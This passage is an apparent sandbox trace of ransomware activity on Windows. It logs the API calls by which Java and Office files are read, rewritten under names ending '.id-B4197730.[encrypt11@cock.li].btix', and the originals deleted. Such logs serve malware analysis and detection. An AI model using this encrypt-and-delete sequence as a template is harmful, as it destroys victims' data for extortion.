lstrlenW (lpString=".bz2") returned 4 [0155.470] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0155.470] lstrlenW (lpString=".7z") returned 3 [0155.470] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0155.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0155.470] lstrlenW (lpString=".dbf") returned 4 [0155.470] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0155.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0155.470] lstrlenW (lpString=".1cd") returned 4 [0155.471] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0155.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0155.471] lstrlenW (lpString=".jpg") returned 4 [0155.471] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0155.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0155.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0155.471] lstrlenW (lpString=".doc") returned 4 [0155.471] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0155.471] lstrlenW (lpString=".docx") returned 5 [0155.471] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0155.471] lstrlenW (lpString=".pdf") returned 4 [0155.471] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0155.471] lstrlenW (lpString=".xls") returned 4 [0155.471] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0155.471] lstrlenW (lpString=".xlsx") returned 5 [0155.471] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0155.471] lstrlenW (lpString=".ppt") returned 4 [0155.471] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0155.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0155.471] lstrlenW (lpString=".zip") returned 4 [0155.471] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0155.471] lstrlenW (lpString=".rar") returned 4 [0155.471] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0155.471] lstrlenW (lpString=".bz2") returned 4 [0155.471] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0155.471] lstrlenW (lpString=".7z") returned 3 [0155.471] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0155.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0155.471] lstrlenW (lpString=".dbf") returned 4 [0155.471] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0155.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0155.471] lstrlenW (lpString=".1cd") returned 4 [0155.471] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0155.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0155.471] lstrlenW (lpString=".jpg") returned 4 [0155.472] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0155.472] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0155.472] lstrlenW (lpString="psfontj2d.properties") returned 20 [0155.472] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.472] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=10393) returned 1 [0155.472] CloseHandle (hObject=0x2fc) returned 1 [0155.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0155.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.472] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.472] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.472] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.472] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.474] GetLastError () returned 0x0 [0155.474] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x2899, lpOverlapped=0x0) returned 1 [0155.474] WriteFile (in: hFile=0x368, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x28a0, lpOverlapped=0x0) returned 1 [0155.475] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.475] WriteFile (in: hFile=0x368, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xfc, lpOverlapped=0x0) returned 1 [0155.476] SetEndOfFile (hFile=0x368) returned 1 [0155.476] CloseHandle (hObject=0x368) returned 1 [0155.476] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.476] SetEndOfFile (hFile=0x2fc) returned 1 [0155.477] CloseHandle (hObject=0x2fc) returned 1 [0155.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.477] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1 [0155.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0155.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0155.477] lstrlenW (lpString=".doc") returned 4 [0155.477] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0155.477] lstrlenW (lpString=".docx") returned 5 [0155.477] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0155.477] lstrlenW (lpString=".pdf") returned 4 [0155.478] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0155.478] lstrlenW (lpString=".xls") returned 4 [0155.478] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0155.478] lstrlenW (lpString=".xlsx") returned 5 [0155.478] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0155.478] lstrlenW (lpString=".ppt") returned 4 [0155.478] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0155.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0155.478] lstrlenW (lpString=".zip") returned 4 [0155.478] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0155.478] lstrlenW (lpString=".rar") returned 4 [0155.478] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0155.478] lstrlenW (lpString=".bz2") returned 4 [0155.478] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0155.478] lstrlenW (lpString=".7z") returned 3 [0155.478] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0155.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0155.478] lstrlenW (lpString=".dbf") returned 4 [0155.478] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0155.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0155.478] lstrlenW (lpString=".1cd") returned 4 [0155.478] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0155.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0155.478] lstrlenW (lpString=".jpg") returned 4 [0155.478] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0155.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0155.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0155.478] lstrlenW (lpString=".doc") returned 4 [0155.478] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0155.478] lstrlenW (lpString=".docx") returned 5 [0155.478] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0155.478] lstrlenW (lpString=".pdf") returned 4 [0155.478] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0155.478] lstrlenW (lpString=".xls") returned 4 [0155.479] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0155.479] lstrlenW (lpString=".xlsx") returned 5 [0155.479] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0155.479] lstrlenW (lpString=".ppt") returned 4 [0155.479] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0155.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0155.479] lstrlenW (lpString=".zip") returned 4 [0155.479] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0155.479] lstrlenW (lpString=".rar") returned 4 [0155.479] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0155.479] lstrlenW (lpString=".bz2") returned 4 [0155.479] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0155.479] lstrlenW (lpString=".7z") returned 3 [0155.479] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0155.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0155.479] lstrlenW (lpString=".dbf") returned 4 [0155.479] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0155.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0155.479] lstrlenW (lpString=".1cd") returned 4 [0155.479] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0155.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0155.479] lstrlenW (lpString=".jpg") returned 4 [0155.479] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0155.479] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0155.479] lstrlenW (lpString="resources.jar") returned 13 [0155.479] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0155.480] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=3492573) returned 1 [0155.480] CloseHandle (hObject=0x2fc) returned 1 [0155.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0155.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0155.752] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.753] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0x0) returned 1 [0155.753] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0155.753] ReadFile (in: hFile=0x36c, lpBuffer=0x436a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x436a058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1 [0155.774] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x11c39f, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0155.774] ReadFile (in: hFile=0x36c, lpBuffer=0x43aa058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x43aa058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1 [0155.784] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0155.784] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x314add, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1 [0155.784] ReadFile (in: hFile=0x36c, lpBuffer=0x43ea058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x43ea058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1 [0156.152] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.152] WriteFile (in: hFile=0x36c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x379fca8, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fca8*=0xc0106, lpOverlapped=0x0) returned 1 [0156.166] SetEndOfFile (hFile=0x36c) returned 1 [0156.166] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x424ddb0 [0156.169] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1 [0156.170] WriteFile (in: hFile=0x36c, lpBuffer=0x424ddb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x424ddb0*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1 [0156.171] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x11c39f, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1 [0156.171] WriteFile (in: hFile=0x36c, lpBuffer=0x424ddb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x424ddb0*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1 [0156.391] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x314add, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1 [0156.391] WriteFile (in: hFile=0x36c, lpBuffer=0x424ddb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x424ddb0*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1 [0156.395] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0156.400] CloseHandle (hObject=0x36c) returned 1 [0156.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0156.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0156.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0156.401] lstrlenW (lpString=".doc") returned 4 [0156.401] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0156.401] lstrlenW (lpString=".docx") returned 5 [0156.401] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0156.401] lstrlenW (lpString=".pdf") returned 4 [0156.401] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0156.401] lstrlenW (lpString=".xls") returned 4 [0156.401] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0156.401] lstrlenW (lpString=".xlsx") returned 5 [0156.401] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0156.401] lstrlenW (lpString=".ppt") returned 4 [0156.401] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0156.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0156.401] lstrlenW (lpString=".zip") returned 4 [0156.401] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0156.401] lstrlenW (lpString=".rar") returned 4 [0156.401] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0156.401] lstrlenW (lpString=".bz2") returned 4 [0156.401] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0156.401] lstrlenW (lpString=".7z") returned 3 [0156.401] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0156.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0156.401] lstrlenW (lpString=".dbf") returned 4 [0156.401] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0156.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0156.402] lstrlenW (lpString=".1cd") returned 4 [0156.402] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0156.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0156.402] lstrlenW (lpString=".jpg") returned 4 [0156.402] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0156.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0156.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0156.402] lstrlenW (lpString=".doc") returned 4 [0156.402] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0156.402] lstrlenW (lpString=".docx") returned 5 [0156.402] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0156.402] lstrlenW (lpString=".pdf") returned 4 [0156.402] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0156.402] lstrlenW (lpString=".xls") returned 4 [0156.402] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0156.402] lstrlenW (lpString=".xlsx") returned 5 [0156.402] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0156.402] lstrlenW (lpString=".ppt") returned 4 [0156.402] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0156.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0156.402] lstrlenW (lpString=".zip") returned 4 [0156.402] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0156.402] lstrlenW (lpString=".rar") returned 4 [0156.402] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0156.402] lstrlenW (lpString=".bz2") returned 4 [0156.402] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0156.402] lstrlenW (lpString=".7z") returned 3 [0156.402] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0156.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0156.403] lstrlenW (lpString=".dbf") returned 4 [0156.403] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0156.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0156.403] lstrlenW (lpString=".1cd") returned 4 [0156.403] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0156.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0156.403] lstrlenW (lpString=".jpg") returned 4 [0156.403] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0156.403] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.403] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0156.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.403] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=21184) returned 1 [0156.403] CloseHandle (hObject=0x36c) returned 1 [0156.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0156.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.404] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.404] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0156.405] GetLastError () returned 0x0 [0156.405] ReadFile (in: hFile=0x36c, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0156.406] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0156.407] ReadFile (in: hFile=0x36c, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.407] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x122, lpOverlapped=0x0) returned 1 [0156.407] SetEndOfFile (hFile=0x358) returned 1 [0156.408] CloseHandle (hObject=0x358) returned 1 [0156.408] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.408] SetEndOfFile (hFile=0x36c) returned 1 [0156.409] CloseHandle (hObject=0x36c) returned 1 [0156.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0156.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0156.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0156.409] lstrlenW (lpString=".doc") returned 4 [0156.409] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.409] lstrlenW (lpString=".docx") returned 5 [0156.409] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.409] lstrlenW (lpString=".pdf") returned 4 [0156.409] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.409] lstrlenW (lpString=".xls") returned 4 [0156.409] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.409] lstrlenW (lpString=".xlsx") returned 5 [0156.409] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.410] lstrlenW (lpString=".ppt") returned 4 [0156.410] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 